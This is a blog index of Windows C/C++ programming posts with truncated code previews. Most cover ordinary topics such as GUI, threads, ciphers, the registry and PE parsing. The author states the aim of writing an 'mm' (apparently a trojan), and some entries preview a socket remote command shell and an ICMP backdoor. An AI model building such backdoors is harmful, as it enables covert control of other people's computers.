windows编程
R_1v3r
这个作者很懒,什么都没留下…
展开
-
windows程序设计之简单界面入门
突然自己想完整地写一款mm,除了网络通信、文件操作之类的功能类代码外,还要搞一个界面的东西。想了想,为了快速看到成果就学学界面编程吧,也方便看别人的带界面的代码。于是乎,决定windows编程先从界面开始写。 新建一个空的win32工程,只有以下代码:#include "stdafx.h"int APIENTRY WinMain(HINSTANCE hInstance,原创 2017-06-16 13:49:02 · 10128 阅读 · 0 评论 -
多线程代码编写学习
#include<stdio.h>#include<Windows.h>enum {THREAD_MAX=40,THREAD_MAX_LIVE=20};typedef struct _THERAD_PARAM_{ void *p1, *p2,*p3; int i1, i2, i3; HANDLE h1, h2,h3;}THREAD_PARAM,*PTHREAD_PARAM原创 2017-12-28 14:57:24 · 205 阅读 · 0 评论 -
维吉尼亚密码应用
//Virginia密码/*理解算法最重要,最好自己动手实现试试看,可以使用MFC写一个简单的交互界面*/#include<iostream> #include<cstring> using namespace std; #define MINCHAR 32 #define CHARSUM 94 char table[CHARSUM][CHARSUM]; bool Init(); b转载 2017-12-28 15:00:07 · 1354 阅读 · 0 评论 -
RC4密码
//程序开始#include<stdio.h>#include<string.h>#include<Windows.h>typedef unsigned longULONG;/*初始化函数*/void rc4_init(unsigned char*s, unsigned char*key, unsigned long Len){ int i = 0, j = 0; char转载 2017-12-28 15:02:04 · 1169 阅读 · 0 评论 -
取系统特殊文件夹路径代码
// VC++得到系统特殊文件夹路径//http://blog.csdn.net/morewindows/article/details/8745532//By MoreWindows( http://blog.csdn.net/MoreWindows )#include <windows.h>#include <shlobj.h>#include <stdio.h>int main()原创 2017-12-28 15:05:04 · 255 阅读 · 0 评论 -
得到TCP列表代码
#include <winsock2.h> #include <ws2tcpip.h> #include <iphlpapi.h> #include <stdio.h> #include "windows.h" #include "tchar.h" #include "stdio.h" #include "psapi.h" #pragma comment(lib, "转载 2017-12-28 15:08:35 · 465 阅读 · 0 评论 -
windowsAPI发送ICMP包
#include <winsock2.h>#include <iphlpapi.h>#include <icmpapi.h>#include <stdio.h>#pragma comment(lib, "iphlpapi.lib")#pragma comment(lib, "ws2_32.lib")int __cdecl main(int argc, char **argv) { /原创 2017-12-28 15:09:49 · 1237 阅读 · 0 评论 -
CreateEvent使用
Windows API——CREATEEVENT——创建事件事件是一个允许一个线程在某种情况发生时,唤醒另外一个线程的同步对象。事件告诉线程何时去执行某一给定的任务,从而使多个线程流平滑CreateEvent是创建windows事件的意思,作用主要用在判断线程退出,线程锁定方面.HANDLE CreateEvent( LPSECURITY_ATTRIBUTES lpEv转载 2018-01-09 14:43:32 · 1953 阅读 · 0 评论 -
TCP socket心跳包示例程序
#include<Windows.h>#include<stdio.h>#define MAXLEN 409600void main(){ HANDLE hSysInFile; hSysInFile = CreateFile("C:\\users\\public\\music\\setup.log",GENERIC_READ,FILE_SHARE_READ, NU转载 2018-01-09 15:45:43 · 436 阅读 · 0 评论 -
socket编程小记
原创 2018-05-09 09:03:16 · 212 阅读 · 0 评论 -
windows注册表操作
#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;time.h&gt;#include &lt;windows.h&gt;int main(int argc, char *argv[]){ LONG lRet = 0; HKEY hKeyProg = NULL; char s原创 2018-07-09 19:46:32 · 1726 阅读 · 0 评论 -
windows 磁盘文件目录遍历
#define _CRT_SECURE_NO_WARNINGS//#include <windows.h>#include <Shlwapi.h>#include <iostream>#include <string>#include <vector>#pragma comment(lib,"shlwapi.lib") ...原创 2018-08-03 09:18:47 · 1126 阅读 · 0 评论 -
c++编写windows服务
// GtServ.cpp : Defines the entry point for the console application.//#include<stdio.h>#include<Windows.h>#include<tchar.h>SERVICE_STATUS m_ServiceStatus; SERVICE_STATUS_HAN...原创 2018-11-29 09:10:15 · 1180 阅读 · 5 评论 -
判断系统是否是XP
#include<stdio.h>#include<Windows.h>int GetOSVer() { OSVERSIONINFO osver; osver.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&osver); if(osver.dwPlatf原创 2017-12-28 14:54:56 · 1250 阅读 · 0 评论 -
获取指定盘符的目录树
#define _CRT_SECURE_NO_WARNINGS#include <iostream>#include <cstring> // for strcpy(), strcat()#include <io.h>#include <Windows.h>using namespace std;void listFiles(const char * dir,HANDLE hF原创 2017-12-28 14:53:52 · 268 阅读 · 0 评论 -
WindowsAPI获取主机操作系统信息
VOID SafeGetNativeSystemInfo(__out LPSYSTEM_INFO lpSystemInfo) { if (NULL==lpSystemInfo) return; typedef VOID (WINAPI *LPFN_GetNativeSystemInfo)(LPSYSTEM_INFO lpSystemInfo); LPFN_Ge原创 2017-07-13 09:43:55 · 4382 阅读 · 0 评论 -
WindowsAPI获取主机网络配置和网络连接信息
//获取主机网络配置int GetNetConfigInfo (){ /* Declare and initialize variables */// It is possible for an adapter to have multiple// IPv4 addresses, gateways, and secondary WINS servers// assigned to t原创 2017-07-13 09:54:40 · 3677 阅读 · 0 评论 -
windows编程之API学习
慢慢积累 WNDCLASS:结构WNDCLASS包含一个窗口类的全部信息,也是Windows编程中使用的基本数据结构之一,应用程序通过定义一个窗口类确定窗口的属性。 要得到某一窗口的WNDCLASS,可以用GetClassLong();. WNDCLASS中的回调函数是窗体的消息处理函数: LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARA原创 2017-07-05 10:40:31 · 464 阅读 · 0 评论 -
C语言利用管道获取CMD命令结果
在实践中,我们有时候需要用C语言来调用cmd的命令,并得到执行的结果,这里给出一个简单的例子。#include <stdio.h>// 描述:execmd函数执行命令,并将结果存储到result字符串数组中 // 参数:cmd表示要执行的命令// result是执行的结果存储的字符串数组// 函数执行成功返回1,失败返回0 int execmd(char* cmd,char* result转载 2017-08-10 09:38:47 · 3976 阅读 · 0 评论 -
SocketCmdShell
利用管道获取cmd命令记录 Server:#include <stdio.h>#include <winsock2.h>#include <Windows.h>#pragma comment(lib,"ws2_32.lib")int main(int argc, char* argv[]){ //初始化WSA WORD sockVersion = MAKEWORD(2,2)原创 2017-08-22 09:31:55 · 243 阅读 · 0 评论 -
CreateFile,ReadFile,WriteFile使用记录
1-1. CreateFile 这个函数的功能是创建或者打开一个文件或者I/O设备,通常使用的I/O形式有文件、文件流、目录、物理磁盘、卷、终端流等。如执行成功,则返回文件句柄。 INVALID_HANDLE_VALUE 表示出错,会设置 GetLastError 。 函数的声明定义: HANDLE WINAPI CreateFile( _In_ LPCTSTR lp原创 2017-08-23 14:53:45 · 687 阅读 · 0 评论 -
解析文件路径,获取文件名和扩展名
_splitpath函数 在c或者c++编程中,常常会用到获取程序或文件的路径,比对路径做分解和合并处理,_splitpath和_makepath就可以完成这样的功能。 函数的声明 void _splitpath( const char *path, char *drive, char *dir, char *fname, char *ext ); 功能是分解路径,把你的完整路径原创 2017-08-23 14:56:06 · 1513 阅读 · 0 评论 -
设置vc++6.0 sdk的方法
这样解决: 1。从微软站点下载最新的platform sdk for windows r2,必须要下载光盘镜像版本,文件名是*.img,大概300-400M左右。 2,安装daemon tools虚拟光驱软件,安装后,选择第一步下载的镜像文件(要在文件选择下拉框中选择所有文件)。 3。从虚拟光盘中安装platform sdk,按照提示安装就可以了。最后会提示注册VS环境路径 4。由于你安装了转载 2017-11-22 16:44:50 · 2886 阅读 · 0 评论 -
PE文件解析代码
#include <stdio.h>#include <stdlib.h>#include <Windows.h>//函数计算导出/导入表的VADWORD RVA2Offset(PIMAGE_NT_HEADERS pNTHeader, DWORD dwExpotRVA){ PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER转载 2017-11-22 16:46:50 · 881 阅读 · 0 评论 -
编码学习
遇到的问题: 1.中文字符用CreateFile\WriteFile一系列API写入文件后无法保证在英文、日文等其他语言系统上正常显示中文。一直困惑了很久,现在找到一个解决的办法是: (1)读取字符串到char中 (2)通过MutiByteToWideChar转换为宽字符,这个时候记得用本地编码(CP_ACP) (3)在利用WideCharToMutiByte转换为多字节,这个时候用CP_U原创 2017-12-27 16:57:45 · 374 阅读 · 0 评论 -
通过进程获取exe全路径
#include<stdio.h>#include<Windows.h>#include<Psapi.h>#pragma comment(lib,"Psapi.lib")int main(){ TCHAR path[MAX_PATH+1]={0}; HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCE原创 2017-12-28 14:50:21 · 1334 阅读 · 0 评论 -
多字节、宽字节转换代码--MutiByteToWideChar & WideCharToMutiByte
/************************************************************************//* Project: 宽字节与多字节互相转换 *//* Author: LandyTan原创 2017-12-28 14:52:39 · 1907 阅读 · 0 评论 -
windows ICMP 后门
服务端#include #include #include #include #include "stdafx.h"#pragma comment(lib, "Urlmon.lib")#pragma comment(lib, "ws2_32.lib") #define ICMP_PASSWORD 1234 ...转载 2018-11-29 09:12:40 · 3509 阅读 · 0 评论